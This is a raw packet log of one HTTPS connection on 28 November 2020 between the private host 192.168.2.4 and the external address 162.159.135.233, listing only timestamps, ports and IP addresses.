Nov 28, 2020 10:31:08.145498037 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145503044 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145519018 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145535946 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145536900 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145555973 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145574093 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145589113 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145591021 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145591974 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145610094 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145626068 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145642042 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145658016 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145673037 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145689011 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145692110 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145711899 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145728111 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145737886 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145742893 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145744085 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145761013 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145776033 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145778894 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145793915 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145816088 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145832062 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145832062 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145850897 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145867109 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145883083 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145888090 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145905972 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145922899 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145922899 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145929098 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145941019 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145957947 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145973921 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145991087 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145992041 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146006107 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146009922 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146028042 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146045923 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146059036 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146063089 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146064043 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146080017 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146095991 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146100044 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146112919 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146130085 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146146059 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146164894 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146183968 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146193981 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146198034 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146200895 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146219015 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146235943 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146239042 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146251917 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146259069 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146270037 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146286011 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146303892 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146306038 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146326065 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146341085 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146357059 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146358013 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146377087 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146393061 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146399975 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146410942 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146426916 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146441936 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146445036 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146446943 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146466017 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146481991 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146482944 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146501064 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146517992 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146533966 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146538973 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146545887 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146559000 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146575928 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146590948 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146595955 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146615028 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146631002 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146646976 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146650076 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146650076 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146668911 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146683931 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146701097 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146717072 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146735907 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146752119 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146754026 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146759033 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146773100 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146790028 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146806002 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146821022 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146822929 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146833897 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146838903 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146859884 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146878958 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146897078 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146902084 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146905899 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146913052 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146929026 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146945000 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146956921 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.146960020 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146976948 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146994114 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.146996975 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.147013903 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147032022 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147052050 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147068024 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147082090 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.147084951 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147100925 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147115946 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.147116899 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147133112 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147149086 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.147154093 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147171021 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.147171974 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147188902 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147203922 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147219896 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147232056 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.147268057 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.147352934 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147370100 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147386074 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147399902 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.147406101 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147424936 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147440910 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147443056 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.147459030 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147475958 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147491932 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147507906 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.147507906 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147519112 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.147526026 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147547007 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147557974 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.147567034 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147583008 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147599936 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147599936 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.147618055 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147634029 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147650003 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147650957 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.147654057 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.147666931 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147686005 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147699118 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.147702932 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147718906 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147733927 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147742987 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.147752047 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147768974 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147783995 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147789001 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.147800922 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147820950 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147838116 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147842884 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.147846937 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.147888899 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.147975922 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.147994995 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148010969 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148030043 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148046970 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148062944 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148065090 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.148082018 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148097992 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148107052 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.148112059 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148159027 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.148190022 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148206949 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148222923 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148238897 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.148240089 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148258924 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148277998 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148294926 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.148296118 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148313999 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148329020 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148344994 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148345947 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.148350954 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.148361921 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148379087 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148380041 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.148396969 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148417950 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148433924 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.148435116 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148438931 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.148452997 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148469925 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148487091 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148504019 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148519993 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148536921 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.148536921 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148540974 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.148560047 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148576975 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.148577929 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148595095 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148611069 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148627043 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148638964 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.148642063 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148659945 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148674965 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148680925 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.148694992 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148711920 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148726940 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148739100 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.148742914 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148760080 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148773909 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148777962 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.148791075 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148807049 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148822069 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.148825884 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148844957 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148859978 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148869038 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.148874998 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.148875952 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148893118 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.148907900 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.149050951 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.149190903 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149209976 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149225950 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149241924 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149254084 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.149259090 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149276018 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149291039 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149291992 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.149312019 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149328947 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149350882 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149350882 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.149373055 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149406910 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.149409056 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149434090 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149451017 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149466991 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.149467945 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149471045 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.149486065 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149502039 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149514914 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.149518967 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149535894 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149544001 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.149558067 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149578094 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149591923 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149597883 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.149619102 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149631977 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149651051 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.149651051 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149656057 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.149671078 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149688005 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149703026 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149719000 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149728060 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.149739027 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149758101 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149774075 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149775028 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.149791956 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149807930 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149822950 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149827957 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.149841070 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149857044 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149873972 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.149876118 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149894953 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149909973 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149924994 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149926901 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.149930000 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.149943113 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.149981022 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.149985075 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.150150061 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150168896 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150185108 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150202036 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150206089 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.150221109 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150238037 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150254011 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.150254965 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150274038 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150293112 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150298119 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.150304079 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.150314093 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150331020 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150346994 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150363922 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.150369883 CET	49733	443	192.168.2.4	162.159.135.233
